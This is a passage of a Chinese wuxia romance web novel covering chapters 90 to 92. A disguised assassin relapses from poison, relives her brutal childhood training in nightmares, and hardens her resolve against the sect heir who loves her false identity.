他今早临摹的字帖被他收了起来,叠得整整齐齐,压在镇纸下。 临那张字帖的时候,听说她不愿跟他一起下去,沉默着心痛,话也不说,只是写字。 今晨刚送上来的新鲜的荔枝,堆在果盘内,不知是谁什么时候剥好的,已经微微发黄。 他若在,便知道她夜里不爱吃东西,不会晚上剥。 他夜里替她梳头的玉梳,替她扑蚊子的芭蕉扇,特意问了屈术先生,为她调制的驱蚊香膏,白糖缝了一半红屁股的小毛衣,全都原封不动地,放在原处。 可是,却怎么看,怎么不一样了。 甚至,连那只烦人的猫儿,也被他带下了山。 她叫他带下去的。 走时,他拎着那猫的后颈,啧啧摇头:“走吧,你娘不要你了,只有爹爹要你。” 她闭上眼睛。 太累了。虽然身上还湿着,冷得几乎在抽搐,但她什么都不想管,只想睡觉。 睡吧。睡一觉起来,就过了一天。 明天起来…… 明天起来,形势也还是一样。 事情不会变好的。从最开始,就是如此,这不是交给时间,就会有希望的事。 她浑身湿透,却连湿衣服都懒得换,任由冰凉的衣裳黏在身上,就这么上了榻。 衣角的水砸在地板上,滴滴答答。 她木然蜷起身子。 她哆嗦着,床帐被她带得摇晃,窸窸窣窣地颤抖起来。她躺在床榻唯一一个枕头上,屈起食指咬在嘴里,闭上眼睛。 却闻到了他身上的味道。 她的枕头被他带下去了。这是他常躺的枕头。 她再熟悉不过的,可靠的、安全的、叫她安心的,他的味道。 她向来没闻到过他的味道。 为什么偏偏在这个时候。 她忍耐不得,雾刀不知在哪个角落看着,她连呼吸都不敢急促,如今她不能再指望顾怀瑾来帮她了——她不敢再在那枕上躺,翻起身来,又下了榻。 太冷了,她急急往芙蓉泉走。 芙蓉泉乃是朝瑶峰上一处药泉,适于休养疗身,正在明月阁附近。顾怀瑾说她身子不好,几次三番要她去泡着试试,她也没放在心上,嫌他小题大做。 如今她去,一是因为身上冷,二是因为,唯有这种地方,雾刀不会跟着。 她唰地一下推开浴池的门,两三下将黏在身上的湿衣服剥了下来,胡乱解了发髻,抱着肩膀,战栗着走下池中石阶。 满室水雾蒸腾,一片浑浊的白,她几乎瞧不清台阶。 很烫。 但是她太冷了,这样的烫,对她来说,刚刚好。 温泉淹没她的锁骨和肩膀,圈在她脖子上。她冻透了的身体瞬间被包裹起来,肌肉如释重负地松弛了,她扶住池边,缓缓走过去靠着。 闭上眼睛,长出了口气,心神俱疲。 好安静啊。水声滴答,连呼吸都带着湿润的水珠。 水雾升腾着,一种叫人窒息的温暖。 在温泉里泡着,连习惯了刺骨寒冷的身体,也不由自主地放松下来,舒展开来,不想走了。 可是,外面依旧是一片刀刮般的寒。 她静静地想,是不是这些日子,她过得太安逸,忘了自己本来的处境了? 因为体会过温暖,所以那些痛和寒冷,再也无法忍受。 可是…… 可是,她从来不属于这些四季如春之处。 或许,她本来就不该留恋的。她本来就不属于这里,一切都是骗来的,这种春光,对于她这严寒石缝中侥幸求生的草,本来就是可遇不可求。得到片刻,已经该珍惜,断断没有强留的道理。 她本来就不该留恋的。 你忘了你自己是谁了吗? 她捂住脸,呜呜哭了。 水雾闷热混沌,裹着她,一切寂静无声。 她的眼泪,圆圆的,一颗一颗掉进温泉水里,化没了。 是她的错。是她忘了……忘了她是谁了。 忘了她的任务,忘了她的名字,忘了她的自我,心甘情愿地自欺欺人,去演另一个角色。 所以,现在,才会这样进退两难。 骗人也就罢了,怎么把自己也骗了? 她从未觉得自己心性软弱,这时,才发现自己也不过是一个贪图享受的傻子。 情爱? 情爱是最不可靠的东西。今天爱,明天就变了。即便是顾怀瑾,也说不准。 等到他不爱的时候…… 自然也会抛弃她,像这世上所有其他男子一样。 即便说,他现在爱她。 可是,他爱的,真的是她吗? 她从未在他面前展露过真正的自己。南琼霜的恨和坚定,决绝和自傲,豁达和不可亵玩,他从未见过一分。 至于他爱上的那些东西,她的温柔、她的眼泪、她的依赖和胆怯…… 全是演出来的。 顾怀瑾,他根本不知道南琼霜是谁。 她不知道这世上是否真有一个楚皎皎。 但可以肯定,她南琼霜,同那个娇弱又可怜的楚皎皎,没有半点关系。 她不是她。 假如顾怀瑾真的那么爱楚皎皎,那么,他绝不会爱南琼霜。 她抱着肩膀,痛哭起来。 忽然,红色的玛瑙珠般的水滴,一颗一颗,砸进水里,在水中化为几缕烟。 她愣住了。 红色的小圆水滴一颗接一颗往下坠落,她一双纤白的手,颤抖着,抚上了自己脸颊。 摸了摸自己的眼睫。 指腹几丝鲜红。 她气喘着,忽然又感觉鼻孔里,似乎有些异常的热,那热的东西缓缓淌下来,滴答、滴答,砸进水里。 也是红的。 她后知后觉地扶住池边,眼前景象瞬间模糊开来,万物轮廓彼此重叠来回荡漾,她耳朵里一阵叮——的耳鸣。 她在流血。 是因为刚才在湖中冻透了,马上又来泡温泉? 不是。 她的脑仁里,一根筋噔噔跳动,揪扯着她的大脑,仿佛一条蠕虫钻进了脑子里,拼命抽动。 一阵钻心的痛。 这种痛,她感受过的。 她弯下身子,抱着肩膀,看见水面倒映出的自己,眼底两排狰狞血痕。 是她的毒。 七乌香木的毒,复发了。 第90章 她也不知道后面,究竟是怎样了。 迷迷糊糊地睡了,迷迷糊糊地失去意识,迷迷糊糊地看见些以前的事。 那时她还小,不过五六岁。大姐和二哥还在。 战火频仍,狼烟四起,爹充了军,再也没有回来,娘害了疫病,死了。 大姐拖着她和二哥,一路往关内逃,见过堆叠成山的尸骨,偷过寺庙里的贡果,也曾经抢了死人的草席,夜里挡点风雨。 后来,一个黑衣人相中了大姐,说要带她去一个“给饭、给水、能睡觉”的地方。 大姐不肯一个人享福,把她和二哥也带了去。 去了方知,那阴冷森严的地方,名唤“往生门”。 三人全不知道往生门是什么,只以为是个急需门童扫地的地方,于是欣然留下。 没过几日,那平日和善亲切的黑衣人,弯着眼睛,要他们入角斗场,说是“可以有许多玩伴”。 大姐当时已经十二岁,懂了些事,自门内来来往往的人脸上,多少瞧出了些端倪,晓得那角斗场内,必不可能是什么轻松愉悦的游戏,于是一口回绝了。 “我们三人,无心前途荣耀,不过想平平安安,了此一生。请先生容我们三人在此处做一辈子的守门人便是。” 话说完,那挨个给他们买糖画的黑衣人,拔刀出鞘,一刀劈在大姐肩上,劈作两半。 血溅了二哥一身。二哥素来胆小,那时也不知哪来的勇气,颤巍巍地将她挡在身后,没叫她沾染上一点。 那黑衣人笑着:“你们大姐不愿,你们呢?” 二哥横在她身前的胳膊抖着,声音却平稳:“好。” 黑衣人鼓掌:“算你们两个识趣。” 她那时,并不明白二哥那一句“好”,是什么意思。 连二哥为什么趁那黑衣人转身,拿着门后的烧火棍,朝他后脑勺猛击,都不明白。 二哥当然没成功。 那黑衣人依旧和善笑着,转过了身,信手挡下那支火棍,一双刀刃般锋利的眼,睨着她。 手,攀上二哥的脖子。 二哥的头顷刻偏折了,仿佛从脖子上掉下来。 黑衣人擦擦手,捏着二哥那根头和脖子相连的软软的筋,把他拖到她面前。 “你呢?” 她望着二哥那双失了神、含着泪的眼睛,忽然懂了他最后艰难摆出的口型。 “好。” 那一天,她入了往生门的角斗场,与两百个幼童一起,互相残杀。 她也从未想过她会有那样饿狼一般的心性,百折不挠,不择手段到连从前的自己都会害怕。 就那样杀了出来。 杀到最后,她已经右腿折断,左胳膊如腊肉一般可笑地吊在肩上,抬不起来,右眼青肿,连眼前的对手都看不清。 手里一柄断了一截的木剑,抖得筛糠一般,对准了面前比她从容许多的对手。 云瞒月。 那是真正的习武苗子,身手轻快利落至极,南琼霜那时只有六岁,也一眼就知道不敌。 但是,再清楚,该做的事还要做。 即便是死,也不能软弱地活。 最后一刻,她攥紧了剑柄,那剑柄已经因为血流如注而难以握紧,她咬着牙,两手握住,对着面前轻松坦然的云瞒月,道:“来。” 高台之上,暮山紫的帷帽底下,一个长发的影子将手掌一竖: “小姑娘长得不错,人又心狠,虽然身手入不了七杀堂,极乐堂却十分合适。门主不若破个例,留在我处吧。” 她就这样,入了往生门的极乐堂,做攻心刺客。 从那时候开始,她的人生,就只有三个字。 活下去。 站起来,活下去。 踩着他人的尸骨也好,负尽天下人也好,哪怕到了下面,要被她那死心眼的大姐痛骂也好。 站起来,活下去。 现在想想,她为了活下去,这一路,已经什么都做过了。 相信她的,被她背叛,怀疑她的,被她除去。 不爱她的,为她所杀,爱她的,也为她所杀。她希望死的,为她而死,她不希望死的,也为她而死。 她这条命,如今,哪里是可以随便舍弃的。 为了活下去,她已经……做了这么多。 她早已没有回头路了。 难道你以为,事到如今,你还能收手吗,南琼霜? 早来不及了。 她闭着眼。泪水和着鲜血,汨汨顺着眼角淌下来。 忽然一道她再熟悉不过的声音,在耳边哀切地唤。 “皎皎……” 叹息一般。遥远而模糊,仿佛溺了水的人,临死之际,听见岸边人的呼喊。 可惜,离得太远,来得也太晚,又素不相识,那种人人都能给两句的关心,并不足以打动她。 她并不想醒来。 何况,连她的名字都叫错了。 哪里有叫皎皎的人啊。 她朦朦胧胧地,又昏睡了过去。 再醒来的时候,两个人在耳边说话。 一个老者,一个青年,讨论着她的病情,声音细碎。 “……便是再用一颗回元丹,也在所不惜。请先生……” “老夫晓得,老夫晓得。还请少掌门不必过分劳心。您自己的心疾……” “我没关系。只是请先生……” 她如今,听到那声音就心痛,不想听。 眼睛一闭,又将自己的意识没入水下,随波漂去。 然后,忽然锣鼓喧天,鞭炮齐鸣,嘭的一声,金箔碎屑闪着光从礼炮中喷出来,她坐在摇摇晃晃的轿子内,惊得躲了一下,凤冠上的珍珠勾住了盖头上的一根金丝。 一切都是红的,喜庆的。人声鼎沸,不知多少人在她轿子外鼓掌喧哗,笑声不绝。她转着腕上宽条的翠玉镯子,忐忑抬起眼。 她要嫁人了? 轿子缓缓落地,轿帘被一只玉白的修长的手掀开,那人温声道: “皎皎。” 她心里轰隆一声。 放在膝上的手攥紧了:“顾怀瑾……?” 顾怀瑾在掀开的轿帘外,弯着身子朝她笑着:“下来呀。” 她眨眨眼,一颗泪倏地滚落,砸进领子里。 扶着他的手,下了轿子。 拜堂,贺郎酒,入洞房。 入了洞房,才算消停了。宾客的起哄喝彩,酒宴的喧哗嘈杂被隔在门外,屋内一堂明灯,飘曳摇晃,满室生辉。 花烛燃烧的声音轻轻。 盖头底下,她闭着眼。 “总算只剩我们两个人了。”他声音带笑,“皎皎……我看看你。” 她眼前朦胧透着烛光的红 盖头,被他小心翼翼掀了起来。 顾怀瑾一身喜服,眉梢带笑,垂首仔细瞧着她。 那一身新郎官的衣服,大红色,鲜艳至极的颜色,她从未见他穿过。 可是,他穿着,也英俊,也合适。甚至过分合适了些,越发显得人白得如玉。 他不知道她在想什么,盖头底下,刚掀开了半寸,对上她眼睛,人就仿佛醉了一般,长睫垂下来,半晌没说出话。 盖头无声地滑落了,他阖了眼,叹了一声,无可奈何地贴上了她的唇: “皎皎……” 那个名字,让她心里一绞。 她扭着指间的喜帕,往后让了半寸。 他恍惚睁开眼,睫毛压着眼睛。 鼻梁蹭着她的鼻梁,手捧上她的脸,亲昵磨蹭着:“怎么了,皎皎?” 他呢喃:“你嫁给我,就自由了,也安全了,不必害怕。” 她越发抖得控制不住。 他握住她死人般僵硬的手,阖眼又吻了上来,唇贴着,鼻尖也贴着,呼吸浅浅: “往后有什么事,我与你一同承担。” 龙凤花烛,齐齐摇曳了一瞬。 他声音轻轻:“天塌下来,我还在呢。” 她哭得几乎抽搐起来。 “其实,我……” “其实,她是个来杀你的细作。”雾刀眦出一排石榴籽般整齐的白牙,黑眼珠咕噜噜转着,狗一样蹲在他和她之间: “颂梅是她杀的,宋瑶洁是她放走的,李玄白是她主动招惹的,阴阳钥是她偷的。至于你,是她有意勾引的。” “下一步,她就要取你们天山的镇山玉牌——”他笑着,擀面杖粗的手指在顾怀瑾胸膛上点着:“——和你的心啦。” 她僵直在原地,浑身冷透了,冻得几乎一戳就碎。 “还有,她不叫楚皎皎。” 雾刀笑着,附在他耳边,呼出的气仿佛恶犬垂涎的喘息: “——这么长时间啦,你连她的名字都不知道。” 她眼睁睁看着顾怀瑾看她的眼神变了。 她的胸膛,起伏起来,明明人在陆地上,却好像溺水似的。 “怀瑾,你听我……” “你是细作?”他打断她,“细作?像我爹当年那个情人一样?” 他神色忽然变得那样陌生。 “像那个害我兄长身亡的细作一样?害我娘气死的细作一样?害我家破人亡、父亲闭关至今的细作一样?” “你说爱我,关心我,就是为了杀我是吗?就是为了毁掉我家几百年的基业是吗?就是为了毁掉我的人生是吗?皎皎?” “我这么爱你,什么都给,什么都答应,为了你,鞭子也挨,奇药也给,少掌门也可以不做——” 她眼睛里模糊得什么都看不清了。 “不是,怀瑾,你听我说……” 后面的话,倏然截在喉咙里。 她连呼吸都轻轻,抖得挂在长睫上的泪扑簌簌落,垂下眼,看着自己胸口前,插着的一截剑刃。 光亮的雪锋,映出花窗上贴着的“囍”字。 大红色,大红色,血一样的大红色。 她的血在大红喜服上洇开,仿佛一朵花缓缓绽放。 喜服上的血,藏得太深太隐晦,像她的心,连她自己,都辨不清。 她不想再说了。事已至此,一切,都已经不必再说了。 她泪眼婆娑,看着那彻夜替她扑蚊子、一颗颗帮她剥荔枝的人,会因为她一句冷落心痛许久的人,阴狠又决绝,“嚓”地一声,将半截剑刃,从她胸口拔出来。 “我早说了,我已经被山外细作,毁了前半辈子。倘若叫我再碰上哪个不自量力的——” 他温润面孔,狠厉得叫她惧怕: “——绝不会手下留情。” 她大睁开眼睛,惊魂未定,气喘吁吁,醒了过来。 床榻旁的人握住她的手:“皎皎?” 她面无表情,冰凉的泪从眼角滑落,灌进耳朵里,一阵闷闷的潮湿。 模糊的视野里,是明月阁祥云纹的床帐。 她筋疲力竭,强弩之末,木然眨了眨眼。 顾怀瑾双手捧着她的脸,大拇指在她下颌摩挲着,憔悴得近乎灰败: “皎皎,你醒了。” 她病了一场,他又瘦了。 她看了一眼,平静无波地偏开头,疲惫阖上眼。 “好些了吗?头还痛吗?”他俯下身子,一支胳膊从她颈椎底下伸过来,将她搂着,在她额上轻轻一吻,“我回来了。我在呢。” “天塌下来,我还在呢”。 她苍白着脸一笑,将头又躲开了一些,没说话。 “头是不是还痛着?痛就抓着我,别害怕。”他蹙着眉,抵着她的额头磨蹭眉毛,“我在呢。” 她没反应。 顾怀瑾以为她是病得疲乏,无暇顾及他,吻了吻她的鼻尖:“再睡一会吧,乖。” 她将头偏向榻内,没说话。 她太累了,什么也不愿想。 顾怀瑾那一个下午,哪里也没去。窗台上的公文堆积成山,他只拣贴了红色书签的几封看了看,就又回到榻边,握住她的手。 仿佛她是一只要随风逝去的蝶,抓着手,就可以抓住她似的。 她躺在榻上,神魂俱疲地想。 他抓不住她,也陪不了她。 * 她的七乌香木的毒,不知道是怎么好的。 或许是他又动用山内权限,喂了她一颗回元丹。 她不知道。他付出过什么,向来不在人前说,她也就乐于装不知道。 如今,他为她付出过什么,为她操过哪些心,为她如何魂不守舍,她连听都不想听。 听了又怎样?一个受了骗的人。 他不是爱她,或者,他爱的不是她。 他只是傻。 所以,望着他守在她榻边,那双一贯定夺山内大事的骨节修长的手,一点一点替她剥着红色的荔枝皮,她连一丝动容也没有。 顾怀瑾将那颗浑圆的半透明的荔枝肉,递到她唇边。 她神色恹恹,偏开了头。 他叹息一声,“怎么连荔枝都不吃了?多少也得吃一点。你这个样子,怎么好得起来?” 她懒得应,闭上了眼。 温凉的果肉贴在她唇上:“听话。” 她笑了一声,“连吃什么也要管。” “什么叫连吃什么也要管?”他被这话刺得猝不及防,做梦也没想过她这样夹枪带棒,“我不该管吗?你病着,连口饭都不肯吃,难道就这样放着你糟践自己?” 她带着笑睨他,没说话。 你知道你面前的人是谁吗? 连这都不知道,就一见倾心了。 她也不知道自己在气什么,只是觉得面前人蠢得要命。 从前她庆幸他蠢,如今她恨他蠢。 她偏开眼神。 那荔枝肉又往她唇边送了送。 “究竟在闹什么别扭?他们说你掉进湖里了。当日给你扎那个秋千,就对你讲过,不要扎在湖边,掉进水里了怎么办?听说掉进了湖里,他们要来叫我,你还不准,你究竟在想什么?” 积蓄了数日的不 安,终于无法再压抑下去,他拨过她的脸,强迫她看他。 “就这么不爱惜自己是不是?不拿自己当回事是不是?我不在,就不懂得照顾自己,要你跟着我下来,也不肯,明知道我想你——” 他长吸了一口气,发觉她冷静得太过分,衬得他像个喜怒无端的人,一阵心塞,不说话了。 他不说话,她如今觉得轻松。 但这种安静,顾怀瑾忍受不了。 良久,他小心翼翼地去摸她的脸颊,忐忑将她下巴拨得转过来一点,哄着: “幼红春的毒早该解了。你这又是什么毒症?屈术先生来过了,说不大清。你可知是怎么回事?同我讲讲。” 她如今不想再受他的好了,面色不动,“一点小事,有什么好放在心上的。我都没当回事,你着什么急。” 他难以置信抬起眼,怒得咳了两声,捂着胸口。 她才想起来,那时半梦半醒间,屈术说他的蚰蜒蛊落下了心疾。 她状似无意地瞥了他一眼,又瞥开。 “你究竟在同我闹什么别扭?”他咳了两声,艰难吞咽了一下,“从醒来就不对,连话也不肯好好说。还是说,从我下去开会那天,就不开心?” “怎么了?我哪里惹你不开心了吗?”他轻轻又将她固执偏开的头拨回来,“哪里不开心,你同我说就是了,何必自己忍着。” 说? 要是说出来,她还有命活,她早就说了。 亏你还是一山少掌门,雾刀那么大的块头,如影随形地在我身边跟着,这山上人就没一个发现吗!? 她闭上眼睛,懒得开口。 她越不说话,他越心里难安。 她变得太快,几日不见,态度就整个变了,陌生又疏离,似乎连看他一眼都不愿。 他最怕她这样。每次她冷着神色偏开头,他就觉得自己从未认识过她。 不是临走前还好好的吗?还倚着他胳膊撒娇,说朝瑶峰太高,折腾一趟太害怕? 早知道他一走,她就又坠湖,又病倒,他回来,还这样冷落他,他说什么也要把她带下去。 她太善变,这样的性子——只有天天看着,天天拴着,每时每刻哄着她,他才心安。 “你这是什么意思?为什么不说话?皎皎,”他凑到她鼻尖前,逼视着她,不容她再躲,“说话。怎么,你又不喜欢我了?事已至此,过几天我们就要订婚了,你要对我说你反悔了是吗?皎皎——” 他阖上眼,贴上来咬着她的唇,“反悔,不行。告诉你,不行。现在说什么都晚了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 她皱着眉,将两瓣唇抿回来,偏开头。 她越躲,他越不可能容她躲,手捧着她的脸按住了,一点也不准她动,张开口去吮她的舌尖。 他口里那样温热,她心里颤了一瞬。 熟悉的气息扑在她鼻子底下,是她这些日子在昏迷中也反反复复闻见的,她眼睛一酸,被迫着迎了两下,就吻不下去了。 现在她终于知道,什么是“味道”。 只有两个人彼此可以闻见的、说不清道不明的,味道。 不是体香,也不是体味,但闻见就知道是他,即便他不在,也在鼻子底下萦绕的气息。 为什么她可以闻见了? 她忍受不了,这才发现被他吻着,身子已经不由自主软了,靠在软枕上,任人摆布地滑落下去。他一只手按在她背后,手掌摁在她纤巧的背脊上,将人深深推在怀里,她窒息得难受,略偏开头,忽然又被他追来。 那种吻法,她心里明白,是他又不安,不安到难以停下。 但是,不安又有什么办法呢? 叫他心痛的还在后面呢,她就算想在乎,也在乎不过来。 她道:“好了。没完了?” 他一个字也不说,大拇指将她下颌推起来,阖着眼又来含她的唇。 她横下心来:“顾怀瑾。” 她从来不带着姓唤他,他一时惊痛,睁开了眼。 见她一双黑白分明的眸子,在他的吻里置身事外,清泠泠望着他。 南琼霜开口,声音如她神色一般冷静平稳,一字一句: “顾怀瑾,你究竟喜欢我什么?” 他愣住了。 喜欢她什么? 这个问题,他不曾自问过,何况,人心哪里是说得清的。 见他迟疑,她轻蔑笑开了,根根纤长的睫毛遮着眼底,“我就知道——” 连喜欢她什么都说不出来。 他只是被她的手段钓疯了。 “喜欢你……温柔,喜欢你善良,喜欢你细心,体贴我,关心我。” 他望着她的眼睛,一眨不眨,躲也不躲: “我被慧德罚时,人人避之不及,你却不顾危险,自己一个人撑舟来接我。林中溪流湍急,夜里又黑,你胆子又小。那个晚上,你来接我,我似乎就对你有些不一样。” 是啊,要让你感动,不冒点险怎么行。 “后来,你的幼红春毒发了一次。你中毒,原本就是因为我,身子这么弱的人,流了那么多血……我那时,却因为自己那点疑心,连看都没有回去看你一眼,把你自己一个人放在那里——” 他说不下去了,抱着她的腰,孩子似的把头埋在她颈侧: “后来,你说要去同师姐道歉。我不知道你有什么要同她道歉的,或许也是因为我那时冷落了你。然后,你回来,肩膀被一支箭穿透了,被他抱回来,你不知道我当时是什么心情。” “从那以后,你好像就喜欢上了他。” 他笑了一声,睫毛湿漉漉的,在她脖子上蹭着,一点酥痒: “我一直不知道你喜欢他什么,心里很恨。但又没有办法。你去找师姐,被颂梅所害,原本都是因为我,我还能说什么?于是一直忍着。” 他在她颈侧吻了一下: “人人都说我能忍,我也是这时候才发现,我确实是很能忍。忍到——”,他笑,“——忍到他说要娶你。” 她睫毛颤了两下,垂下来。 “所以,你说爱我,是因为觉得对不起我,很愧疚?” 他垂眼看着她,抵着额头吻她的鼻子: “说什么呢。一码归一码。我从前,脾气太好,人人都想从我这得点什么。要么是用我,要么是借我的名头压人。只有你——” “只有你——对我说,我没有错,或许错的,是山规。只有你劝我,这样忍让慧德,会把自己耗尽。只有你,对我说……” “——对我说,我是这世上最好的人,没有我,你不知道怎么办。” 他在她额上落下一吻。 她终于明白了。他自幼在“随顾清尧的东西”和“倘若你兄长尚在世”两句话之中挣扎,所以,会被她两句话,轻而易举地打动。 她一直以为,叫他动容的,是她的眼泪。 不想,误打误撞,是这两句话。 可是,那两句话,是她投其所好,故意说给他的啊。 抛开她的手段,抛开她的伎俩,抛开她的话术,他的爱里面,到底有没有一点,是因为南琼霜这个人? 她笑,“那你觉得我是什么样的人?” 顾怀瑾不知是否是错觉,他觉得她那笑里有一种绝望的哀伤。 他不明白她是怎么了,那样轻的语调,仿佛她在隐秘地告别,临走之前,举重若轻地悲痛。 他仔细想了想。 “善解人意,以及善良。” 她垂下眼,笑了。 他果然是一点也不懂她。 她沉默了只一瞬,抬起眼来笑,“我没事,但头有些晕。你今晚去隔壁房间睡吧。” 顾怀瑾倒是沉默了许久许久。 桌台上燃着的安神香扑落一截,仍余一点鲜活的橙红的光。但渐渐地,也灭了,萎 在香灰里。 心有灵犀地对面不识。 顾怀瑾不知道自己怎么忽然冒出这个念头,木然站起身。 南琼霜闭着眼,头偏向窗外。 他出去了,门合上的声音,咔哒一声。 她脸上热泪滚滚而落,顺着下巴一颗颗滴下来。 * 那一天之后,南琼霜顿觉自己有了杀他的勇气。 一个受了骗的人,有什么好心软。 是她从前太傻、太软弱,心甘情愿地在他的爱里迷失了,差点忘记了自己是谁。 还好,如今她想起来了。 他爱的不是她,根本就不是她。他从来就不知道她是谁啊,她到底在庸人自扰些什么。 假如他知道,她与那十几年前的紫睨是同样的出身,你以为他还会日夜轻声细语哄着、一颗颗荔枝喂着、发了病用回元丹吊着、一口一个“皎皎”吗,南琼霜? 假如他知道你是谁,不仅不会爱你,还有你好受的。 她讥诮笑着,身上一阵一阵地发冷,仿佛发了烧的病人。 顾怀瑾似乎也察觉了她的异常。原本不可能不跟她一起睡的人,一连好几天,自己关在隔壁,甚至夜里也没有来磨她。 她不知道她是否喜欢他放手,但她要求自己喜欢。只是,有些时候,夜里惊醒,摸到身旁床榻冰凉一片,依然要心里一惊,然后彻夜做噩梦。 她做噩梦,也不再同他说了。 她决定把阴阳钥给他。 有一天,山下的公文按时送上了朝瑶峰,她趁顾怀瑾没来,打算将阴阳钥藏进那一摞公文中去。 不能让雾刀知道她早藏着阴阳钥,于是对雾刀道:“去看看顾怀瑾这些日子在做什么?冷落了他几天,这么久也没来找我,别在节骨眼上给我起风波。” 雾刀去了,她轻松将那两半一青一红的钥匙藏进公文的纸包中去,点起蜡烛,拿起果盘上的一只脆桃。 雾刀很快回来了,嘻嘻笑着: “你猜他在干嘛?” 她垂眸,将那脆桃拿在掌中,用匕首从中分开,“在干嘛?” “在吐血呢。” 那柄小匕首,嗤地一声没入她掌心。 雾刀笑:“怪不得这些日子他自己待着。病了,躲你呢。” 她连眼睫也未动,平静将刀刃从血肉里拔出来。 雾刀的声音很愉悦: “他还爱你,放心吧。” 她一字也未答,从容如常地切着桃子,切成小块,再切成小块,再切成小块。血一滴一滴顺着手腕淌进衣袖,她拿了小签子,手指敲着桌缘,一口一口将沾着血的桃子吃完了。 顾怀瑾很快发现了公文中的阴阳钥。 不久,他又下了朝瑶峰,临走前终于来看了她一眼,坐在她榻边,隔着衾被,摸着她的胳膊。 “皎皎,我须得下去一趟。” 她朝床榻内侧躺着,梦呓似的答:“嗯。” “山上出了点事,阴阳钥找到了。一定是有细作,得从源头开始,一个环节一个环节地查。” “嗯。” “你自己在这里待一会,我下去半天,晚上就回来。” 她胳膊曲着垫在脑后,闻言,困乏未消,懒怠问: “你打算怎么办?” 顾怀瑾连一丝犹豫也无: “倘若抓到,定然是死。” 她阖上眼: “嗯。” 顾怀瑾走了。临走前,她在梦中,半梦半醒回身看了他一眼。 他脸色白得仿佛幽灵,毫无血色,瘦了,面皮紧紧绷在骨头上,时时皱眉,按一下胸口。 她没理,阖眼继续陷入梦里。 梦里,尽是些前尘往事。血、死人、背叛、逃杀,那些痛不欲生的失去。 她太熟悉这一切。 对于她,是美梦。 顾怀瑾下朝瑶峰那半天,她听流素说朝瑶峰上有一座极灵验的东海观音像,打算去拜一拜。 说来也好笑,她不信菩萨,想求的事,也绝不是可以在菩萨面前明言的。 可是还是去拜了。 路上,山路迂回,禽鸟鸣啼,山雾又起了,白茫茫的一片,只见树影,不见前路。 她一个人在没有头的盘山小径上走,雾气洇湿衣袖,在她睫毛上挂了一串水珠。 走着走着,迷了路。 仙鹤长鸣着,长喙剪开雾气,扑扇着翅膀又入了云。 小径上迎面来了一个揣着袖的道士。 她走上前,客气问:“道长,请问峰上的白玉东海观音像在何处?” 那道士自山雾中显出面孔,人中底下两撇山羊似的斜胡须,撩起眼皮: “此路尽头,见着‘登天梯’三字左转,崖上便是。” 她颔首道谢欲走。 道士捋着胡须道:“夫人留步。” 她蹙起眉。这山上的道士,不归天山派管,竟也都知道她是谁了。 “夫人最近有事,难以抉择?” 她笑:“已经下了决心。” 道士长叹一声,煞有介事地摇头,“唉,非也,非也——您只是觉得自己已经定了主意。” 她笑笑,转身要走。 道士横臂一拦:“此事究竟如何,我来替夫人算一卦吧。” 她笑而不语,只道,这人是否想骗她点卦金? 那道士却已经拿出了起卦的铜钱:“夫人想问什么?” 她心里想,你拦下我,却不知道我想问什么? “那么,就问,几日后,我想拿到手的东西,究竟可否得手。” 铜钱一抛,落下。 道士叹息:“事与愿违。” 她眉尾跳了一下,却笑了。 “那么,劳烦道长帮我推算一下我这一生的大运吧。”她将自己的八字写下,递去。 道士阖眼,掐指推算了一阵,又在袖中掏出的黄纸背面演算。 忽然,他睁开眼,为难沉吟了一阵。 她和气道:“道长算出什么,直言不讳便是。” “夫人,”他迟疑着,反复低下头去,重算着黄纸上那些小字,“您——” 那种欲说还休的神色,南琼霜是人精,如何不懂。 她笑吟吟地接:“我命不久矣?” “您——几日后,有大劫啊。” 第92章 “若要贫道来看,不论夫人几日后有何欲取之物,都不是个好时候。倘若真要取,便得再过些日子。” 她笑得平和:“我没有时间了。” “既然如此,便即时收手,以免酿成大错。”那道士将铜钱收回袖中,食指和中指合在一处,朝她点了两下:“贫道肺腑之言啊。” 那道士走了,背影没入飘渺山雾,看不见了。 南琼霜立在原地,眉睫上挂了一层水珠,仿佛冬天的白霜。 她闭上眼睛,轻轻一哂。 大劫? 那也没有什么不好的。 她可以失手而亡,但绝不能因软弱而死。 不能因为一段骗来的爱,骗了自己,一辈子去演另一个人,再爱上一个爱着别人的傻子。 她昂起下巴,眼底一点晶莹的水,她觉得那只是睫毛上挂的水珠,倒进了眼里。 沿着小径一路上山,没走多远,一抬头,那座巨大的白玉东海观音像,通体洁白,沉静肃穆,立在渺茫白雾中。 她走过去,仰起头,与那庄严的神仙四目相对。 菩萨眉目悲悯,即便看穿她,也无言。 她作恶也坦然,眉目纹丝不动,看了一阵。 半晌,双手合十,闭目许愿。 “愿几日后,订婚之夜,得偿所愿。” 忽然一阵飘忽的山风吹来,扯起她的袖摆衣角,她的玉髓耳坠被刮起来,不住地抽在耳廓上。 她顶着风,蹙眉睁开了眼。 方才遮掩一切的山雾,竟被这一阵风吹得大开,周身一切豁然开朗,嶙峋的山岩、层叠的翠叶、观音脚下的莲花座、山崖外的天空和下面远远的树冠顶,一眨眼间,尽数显出原形。 她愕然抬头,起了一身鸡皮疙瘩。水汽覆在皮肤上,湿漉漉的。 那菩萨立在洞开了的云雾中,手中一支净瓶,眉眼低垂,祥和慈悲,头上,一圈圆圆的光晕,七彩夺目,璀璨普照。 她腿一软,不觉后退了半步,以为自己看错了。 紧紧闭了闭眼,再睁开。 那七彩的光晕,依旧耀眼绚丽,朗照下来。 她一颗心几乎从嗓子里跳出来。 忽然,菩萨低垂的悲悯的眼中,什么东西,倏然滑落。 红色的。 那白玉的观音面上,霎时一道直直的红痕,淌下来,滴在菩萨衣襟上。 是血泪吗? 她控制不住地哆嗦起来。 为什么?因为她在此许愿,要取了顾怀瑾的命吗? 因为菩萨想要顾怀 瑾活? 菩萨希望死的是她,要她放过顾怀瑾,还是,即便她不杀顾怀瑾,他们也能有个好结局? 怎么可能呢。 太过美好的事物,她不必试,就知道是泡影。宽容和爱,这世上真的有吗? 即便有,她又几时配过。 醒醒吧。 多做事,少做梦。 她在那观音像底下,面不改色鞠了个躬,走了。 菩萨也想让她死。 她可以理解。 但是。 菩萨想要她死,她就更不要死。 她偏要活。 即便是错,她也要一直走下去。 执迷不悟,绝不回头。 当天夜里,顾怀瑾就回来了。 她仍躺在榻上打盹。这些日子,她哪里也不想去,懒得动弹,整日在榻上打盹。 顾怀瑾怕惊动了她,轻轻合上门,坐在她榻边。 